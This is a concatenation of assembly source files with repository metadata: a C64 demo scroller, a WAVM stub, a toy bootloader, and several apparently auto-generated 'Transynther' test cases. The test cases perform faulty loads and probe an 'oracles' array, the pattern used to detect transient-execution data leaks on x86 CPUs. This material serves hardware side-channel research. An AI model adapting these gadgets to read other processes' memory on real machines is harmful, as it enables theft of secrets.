0x07; // Note the different bits, as we include a shift in these values here to make the d018 masking simpler lda char_set_index clc adc #$02 and #$0e sta char_set_index // if scroll_y == 6 lda scroll_y cmp #$06 bne !+ // Dispatch load next color row lda #$01 sta dispatch_color_mem_shift // if scroll_y == 7 !: lda scroll_y cmp #$07 bne !+ // Dispatch color mem shift lda #$02 sta dispatch_color_mem_shift // scroll_text_color_offset -= 1; !: dec scroll_text_color_offset two_frame_toggle_true: lda #screen_mem_bits ora char_set_index sta $d018 lda scroll_text_offset_two_frame_toggle_enable and #$07 beq scroll_text_offset_update lda two_frame_toggle and #$01 beq scroll_text_offset_update jmp scroll_text_offset_update_finished scroll_text_offset_update: // if scroll_text_offset < 8 * 5 && (scroll_text_offset & 1) == 0 lda scroll_text_offset cmp #(8 * 5) bcs scroll_text_expand_done and #$01 bne scroll_text_expand_done // Progressively expand next row of scroll text data into last sprite data row // Bank out io regs lda #$34 sta $01 // scroll_text_expand_block = scroll_text_block + 4; lda scroll_text_block clc adc #$04 // if scroll_text_expand_block >= 5 cmp #$05 bcc !+ // scroll_text_expand_block -= 5; sec sbc #$05 !: sta temp_scroll_text_expand_block // sprite_y = scroll_text_offset / 2; lda scroll_text_offset lsr sta temp_sprite_y // expand_offset = vic_bank_offset + (0x0800 * scroll_text_expand_block) + SPRITE_DATA_BLOCK_OFFSET + (sprite_y * 3); clc adc temp_sprite_y clc adc temp_sprite_y sta scroll_text_expand_store_instr + 1 lda temp_scroll_text_expand_block asl asl asl clc adc #>sprite_data_block_offset adc #>vic_bank_offset sta scroll_text_expand_store_instr + 2 ldx #$00 scroll_text_expand_char: txa pha // char_y = sprite_y / 4; lda temp_sprite_y lsr lsr sta temp_char_y // font_byte = font[char_y + scroll_text[scroll_text_text_offset + i]]; txa clc adc scroll_text_text_offset tax lda temp_char_y clc adc scroll_text, x tax lda font, x ldy temp_char_y ldx #$00 scroll_text_expand_char_x: pha and #$01 beq !+ lda sprite_fill_data, y scroll_text_expand_store_instr: !: sta $abcd, x // Crap addr that will be overwritten pla lsr inx cpx #$03 bne scroll_text_expand_char_x // expand_offset += 0x40; lda scroll_text_expand_store_instr + 1 clc adc #$40 sta scroll_text_expand_store_instr + 1 bcc !+ inc scroll_text_expand_store_instr + 2 !: pla tax inx cpx #$08 bne scroll_text_expand_char // Bank in io regs lda #$35 sta $01 scroll_text_expand_done: // scroll_text_offset += 1; inc scroll_text_offset // if scroll_text_offset == 8 * 6 lda scroll_text_offset cmp #(8 * 6) bne scroll_text_offset_update_finished // scroll_text_offset = 0; lda #$00 sta scroll_text_offset // Shift rows // scroll_text_block += 1; inc scroll_text_block // scroll_text_text_offset += 8; lda scroll_text_text_offset clc adc #$08 sta scroll_text_text_offset // if scroll_text_block >= 5 lda scroll_text_block cmp #$05 bne !+ // scroll_text_block = 0; lda #$00 sta scroll_text_block // scroll_text_color_offset += 5; !: lda scroll_text_color_offset clc adc #$05 sta scroll_text_color_offset scroll_text_offset_update_finished: // two_frame_toggle = !two_frame_toggle; inc two_frame_toggle // Update cycle inc cycle_frame_counter lda cycle_frame_counter cmp #cycle_frames bne cycle_update_done // Bump cycle counter inc cycle_counter // Reset counter lda #$00 sta cycle_frame_counter // If we've gone 10 cycles, we're done! lda cycle_counter cmp #$0a bne !+ inc dispatch_done !: inc scroll_text_offset_two_frame_toggle_enable // TODO: More stuff based on cycles or something. :D cycle_update_done: // Set up draw vars // draw_scroll_text_offset = 54 - scroll_text_offset; lda #54 sec sbc scroll_text_offset sta draw_scroll_text_offset // draw_scroll_text_block = scroll_text_block * 32; lda scroll_text_block asl asl asl asl asl sta draw_scroll_text_block // draw_scroll_text_color_offset = scroll_text_color_offset; lda scroll_text_color_offset sta draw_scroll_text_color_offset // Dispatch next int or finish lda #$00 sta draw_next_int_update_mode jsr dispatch_next_int_or_finish // Allow other display interrupts to fire while possibly performing more work asl $d019 cli // Check load next color row dispatch lda dispatch_color_mem_shift cmp #$01 bne !+ //dec $d020 jsr load_next_color_layer_picture_line //inc $d020 // Check color mem shift dispatch !: lda dispatch_color_mem_shift cmp #$02 bne !+ //dec $d020 jsr color_mem_shift_speedcode //inc $d020 !: lda #$00 sta dispatch_color_mem_shift //inc $d020 //asl $d019 pla sta $01 pla tay pla tax pla rti .pc = * "dispatch next int or finish" dispatch_next_int_or_finish: lda draw_next_int_update_mode beq dispatch_next_int_or_finish_update_mode_0 jmp dispatch_next_int_or_finish_update_mode_1 dispatch_next_int_or_finish_update_mode_0: lda draw_scroll_text_block clc adc #(sprite_data_block_offset / 64) ldx #$00 !: sta sprite_pointer_offset, x clc adc #$01 inx cpx #$08 bne !- lda draw_scroll_text_block clc adc #32 cmp #(32 * 5) bne !+ lda #$00 !: sta draw_scroll_text_block lda draw_scroll_text_color_offset and #$0f tax lda scroll_text_colors, x sta $d025 inc draw_scroll_text_color_offset lda draw_scroll_text_color_offset and #$0f tax lda scroll_text_colors, x inc draw_scroll_text_color_offset sta $d026 lda draw_scroll_text_color_offset and #$0f tax lda scroll_text_colors, x inc draw_scroll_text_color_offset .for(var i = 0; i < 8; i++) { sta $d027 + i } lda draw_scroll_text_offset .for(var i = 0; i < 8; i++) { sta $d001 + i * 2 } jmp dispatch_next_int_or_finish_dispatch dispatch_next_int_or_finish_update_mode_1: lda draw_scroll_text_color_offset and #$0f tax lda scroll_text_colors, x sta $d025 inc draw_scroll_text_color_offset lda draw_scroll_text_color_offset and #$0f tax lda scroll_text_colors, x inc draw_scroll_text_color_offset sta $d026 dispatch_next_int_or_finish_dispatch: lda draw_scroll_text_offset clc adc #(8 * 3) // If we overflow from the previous add, early out, since the raster compare will be meaningless bcs dispatch_next_int_or_finish_finished sta draw_scroll_text_offset cmp #246 bcs dispatch_next_int_or_finish_finished // We'll want to update the positions at the end of the current row, which is 8 pixels above the start of the next one sec sbc #$08 sta $d012 lda #<update_sprite_y_positions_int sta $fffe lda #>update_sprite_y_positions_int sta $ffff jmp dispatch_next_int_or_finish_ret dispatch_next_int_or_finish_finished: lda #<frame sta $fffe lda #>frame sta $ffff lda #$ff sta $d012 // If we're done, switch to text instead lda dispatch_done beq dispatch_next_int_or_finish_ret jsr fld_text_init_int dispatch_next_int_or_finish_ret: lda draw_next_int_update_mode eor #$01 sta draw_next_int_update_mode rts .pc = * "update sprite y positions int" update_sprite_y_positions_int: pha txa pha tya pha lda $01 pha //inc $d020 jsr dispatch_next_int_or_finish //dec $d020 asl $d019 pla sta $01 pla tay pla tax pla rti .pc = * "load next color layer picture line" load_next_color_layer_picture_line: ldy #$00 !: lda (color_layer_picture_addr_low), y sta $d800 + 24 * 40, y iny cpy #40 bne !- lda color_layer_picture_addr_low clc adc #40 sta color_layer_picture_addr_low bcc !+ inc color_layer_picture_addr_high !: rts .file [name="layers-data.prg", segments="Data"] .segmentdef Data [start=layers_data_base] .segment Data "data" .pc = * "font" font: .import binary "font.bin" .pc = * "scroll text colors" scroll_text_colors: .import binary "scroll-text-colors.bin" .pc = * "sprite fill data" sprite_fill_data: .byte $55 .byte $ff .byte $aa .byte $55 .byte $ff .pc = * "color layer palette" color_layer_palette: .import binary "color-layer-palette.bin" .align $100 .pc = * "scroll text" scroll_text: .import binary "scroll-text.bin"
22.410398
130
0.580088
a1f8ea668f60da92b6d35d2bdbd09d0451ca89c6
23
asm
Assembly
Lib/Platform/Windows/Win32.asm
kimbethstonehouse/wavm
f07201f720b90cc510d899c8f1a52371b56e238f
[ "BSD-3-Clause" ]
1,631
2018-09-11T04:57:08.000Z
2022-03-29T20:20:35.000Z
Lib/Platform/Windows/Win32.asm
kimbethstonehouse/wavm
f07201f720b90cc510d899c8f1a52371b56e238f
[ "BSD-3-Clause" ]
243
2018-09-11T21:54:01.000Z
2022-02-10T10:26:23.000Z
Lib/Platform/Windows/Win32.asm
kimbethstonehouse/wavm
f07201f720b90cc510d899c8f1a52371b56e238f
[ "BSD-3-Clause" ]
146
2018-09-11T14:45:14.000Z
2022-03-24T10:52:44.000Z
.model flat .code End
4.6
11
0.695652
77dc4d899cae6e0148faa40bce61792cb5f8be36
4,791
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_34_460.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_34_460.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_34_460.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x134fd, %rsi lea addresses_WT_ht+0x6f8d, %rdi nop nop nop sub $33591, %r14 mov $73, %rcx rep movsl nop nop and $18756, %rbx lea addresses_normal_ht+0x176cd, %rsi lea addresses_normal_ht+0x90d, %rdi nop cmp %r10, %r10 mov $42, %rcx rep movsb nop nop nop nop dec %rsi lea addresses_D_ht+0x815, %rsi dec %r12 movb $0x61, (%rsi) nop nop add %rbx, %rbx lea addresses_UC_ht+0x1750d, %rcx nop nop nop nop xor $23364, %rbx mov (%rcx), %di xor $53450, %rbx lea addresses_UC_ht+0xdcad, %r12 nop nop nop nop add $58630, %r10 mov (%r12), %r14d nop inc %r14 lea addresses_UC_ht+0x18b8d, %rsi lea addresses_D_ht+0x1208d, %rdi clflush (%rdi) dec %r12 mov $89, %rcx rep movsw nop nop nop nop sub %r10, %r10 lea addresses_WC_ht+0x1516d, %rbx nop cmp %r14, %r14 movb (%rbx), %r10b nop cmp %rsi, %rsi lea addresses_WT_ht+0x1858d, %rsi lea addresses_WC_ht+0x2f6d, %rdi nop nop sub $45422, %r12 mov $63, %rcx rep movsq dec %r12 lea addresses_D_ht+0x1758d, %rdi nop nop nop mfence vmovups (%rdi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rsi nop nop dec %rbx lea addresses_D_ht+0x1de8d, %r14 nop nop nop nop add $17147, %r10 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%r14) nop nop nop inc %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi // Store mov $0xf65, %r15 nop nop nop nop and %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm7 movaps %xmm7, (%r15) nop inc %rcx // Load lea addresses_PSE+0xc97d, %rax nop nop nop nop nop and %rbp, %rbp vmovups (%rax), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rdi nop dec %r11 // Store lea addresses_US+0x11445, %rbp nop nop nop sub %rax, %rax movw $0x5152, (%rbp) nop sub %rcx, %rcx // Store lea addresses_PSE+0x1858d, %rcx nop nop cmp %r9, %r9 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 vmovaps %ymm4, (%rcx) nop inc %rdi // Store lea addresses_US+0x1698d, %rdi dec %r11 movl $0x51525354, (%rdi) nop nop add %r15, %r15 // Faulty Load lea addresses_PSE+0x1858d, %rax nop nop nop nop xor %r11, %r11 movb (%rax), %r9b lea oracles, %rcx and $0xff, %r9 shlq $12, %r9 mov (%rcx,%r9,1), %r9 pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_P', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_US', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 9}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 5}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 9}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 7}, 'OP': 'STOR'} {'58': 34} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
21.293333
155
0.646838
3c4a76924cd1ab43ca1dd82c180b70f4f8767fef
5,988
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1879.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1879.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1879.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1a4a0, %rsi lea addresses_A_ht+0x41a0, %rdi nop sub $57605, %r12 mov $104, %rcx rep movsq nop inc %rdi lea addresses_UC_ht+0x45a0, %rcx clflush (%rcx) nop nop add %rsi, %rsi movw $0x6162, (%rcx) nop nop nop add $53036, %rbp lea addresses_D_ht+0x85a0, %rax nop nop nop nop nop cmp %rdi, %rdi movups (%rax), %xmm4 vpextrq $0, %xmm4, %rcx nop add $13348, %rcx lea addresses_normal_ht+0x135a0, %rsi nop cmp %r8, %r8 vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r12 and $32976, %rax lea addresses_WC_ht+0x1d080, %rbp nop nop nop nop add $28575, %r8 mov $0x6162636465666768, %r12 movq %r12, (%rbp) nop cmp $57514, %rbp lea addresses_UC_ht+0x7120, %r8 nop nop dec %rsi and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbp nop nop nop cmp $21732, %rbp lea addresses_normal_ht+0xc728, %r8 xor $62996, %rax mov (%r8), %r12w nop nop nop nop nop cmp %rax, %rax pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rbx push %rdi push %rsi // Store lea addresses_WT+0xd5a0, %rdi nop nop and $59683, %rbx movb $0x51, (%rdi) nop and $2188, %r10 // Faulty Load lea addresses_normal+0x16da0, %r11 nop nop nop add $50141, %rbx vmovups (%r11), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rdi lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rsi pop %rdi pop %rbx pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}} [Faulty Load] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
41.874126
2,999
0.658985
13e6e9c5ec9cd0f3b80fc2b7acf38b51636b2503
1,527
asm
Assembly
mbr/bootloader3.asm
icecoobe/oslab
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
52
2019-04-13T01:50:34.000Z
2022-01-14T02:08:32.000Z
mbr/bootloader3.asm
icecoobe/oslab
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
1
2016-04-08T08:35:34.000Z
2018-08-31T16:45:06.000Z
mbr/bootloader3.asm
icecoobe/nasm
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
19
2019-04-21T03:48:31.000Z
2022-01-07T08:18:57.000Z
;---------------------------------------------------------------------- org 0x7c00 ;-------------------------------------------- ;启动程序代码开始 ;-------------------------------------------- begin: xor ax, ax mov ds, ax ; set data segment to base of RAM mov ah,0FH int 10H mov ah,0 int 10H mov si, msg1 call putstr call getcmd mov si, msg2 call putstr call getcmd mov si, msg3 call putstr call getcmd call shutdown ;-------------------------------------------- msg1 db 10,13,'Hello?', 10,13,0 msg2 db 10,13,'Are u hungry?',10,13,0 msg3 db 10,13,'Is it amazing?', 10,13,0 ;--------------------------------------------- putstr: lodsb ; AL = [DS:SI] or al, al jz putstrd mov ah, 0eH mov bx, 0007H int 10H jmp putstr ;--------------------------------------------- putstrd: retn ;--------------------------------------------- getcmd: ; 获取输入 .getkey: mov ah,0H int 16H .key_in_buffer: cmp al,13 ; 检查回车键 je .execcmd ; 跳至执行命令 jmp echochar ; 显示字符 .execcmd: ret echochar: mov ah, 0EH ; 显示字符 mov bx, 0007H int 10h jmp getcmd shutdown: mov AX, 5307h mov BX, 1 mov CX, 3 int 15h ;size equ$ - begin ;%if size+2 >512 ;%error "code is too large forboot sector" ;%endif ;times (512 - size - 2) db 0 times (512-($-$$) - 2) db 0 db 0x55, 0xAA ;2 byte boot signature
20.092105
72
0.40799
435ed4d5831826aa2e8d1766aeab7429f56fcd95
329
asm
Assembly
bootloader.asm
JonathanRochelli/SimpleOS
5afde34579f3f131c69d77ba3ba6b04a2e0f2f72
[ "MIT" ]
null
null
null
bootloader.asm
JonathanRochelli/SimpleOS
5afde34579f3f131c69d77ba3ba6b04a2e0f2f72
[ "MIT" ]
null
null
null
bootloader.asm
JonathanRochelli/SimpleOS
5afde34579f3f131c69d77ba3ba6b04a2e0f2f72
[ "MIT" ]
null
null
null
bits 16 start : mov ax, 0x07c0 add ax, 0x20 mov ss, ax mov sp, 4096 mov ax, 0x07c0 mov ds, ax mov si, msg call print cli hlt data : msg db 'Hello World', 0 print: mov ah, 0x0e .printchar : lodsb cmp al, 0 je .done int 0x10 jmp .printchar .done : ret times 510 - ($ -$$) db 0 dw 0xaa55
9.4
25
0.586626
4c778016bb3dba54aa11313564ab1b46ce3bdcef
7,076
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1796.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1796.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1796.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x9ba8, %rdi nop nop nop xor $377, %rax vmovups (%rdi), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r13 nop and %r15, %r15 lea addresses_WC_ht+0x2b80, %r9 nop add $52481, %rbx mov (%r9), %r15w nop nop nop nop xor %rax, %rax lea addresses_A_ht+0xc22e, %rbx nop nop nop nop nop add %r13, %r13 movw $0x6162, (%rbx) nop nop nop nop nop sub $5690, %r9 lea addresses_normal_ht+0x15ea8, %rbx xor %r10, %r10 mov (%rbx), %edi nop sub $18856, %r15 lea addresses_WC_ht+0x2568, %rbx nop nop nop inc %r10 mov (%rbx), %rdi nop nop xor $44008, %r9 lea addresses_normal_ht+0xf9fe, %r10 nop nop nop nop and $24932, %r13 mov (%r10), %rbx nop cmp $1422, %r13 lea addresses_D_ht+0x1bba8, %rsi lea addresses_WT_ht+0xb4c8, %rdi nop nop cmp %r10, %r10 mov $100, %rcx rep movsl nop nop cmp $11780, %r13 lea addresses_WT_ht+0x95a8, %rsi lea addresses_WC_ht+0x227c, %rdi sub %rbx, %rbx mov $94, %rcx rep movsb xor %rdi, %rdi lea addresses_A_ht+0x13ca8, %rbx nop nop dec %r9 and $0xffffffffffffffc0, %rbx movaps (%rbx), %xmm6 vpextrq $1, %xmm6, %rax nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x153e8, %rcx nop nop add $61661, %rsi movw $0x6162, (%rcx) cmp $9942, %rdi lea addresses_UC_ht+0x16ba8, %rsi clflush (%rsi) nop nop sub $36989, %rbx mov (%rsi), %r15d nop nop nop nop nop lfence lea addresses_normal_ht+0x9d28, %r15 clflush (%r15) and %r10, %r10 mov (%r15), %di add %r10, %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rbx push %rcx push %rdx push %rsi // Store lea addresses_RW+0xcda8, %rbx nop nop xor %rcx, %rcx mov $0x5152535455565758, %r11 movq %r11, (%rbx) cmp %rsi, %rsi // Faulty Load mov $0x45bc7a0000000ba8, %r9 nop nop nop nop inc %r13 mov (%r9), %ecx lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rsi pop %rdx pop %rcx pop %rbx pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_NC', 'congruent': 0}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 9}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 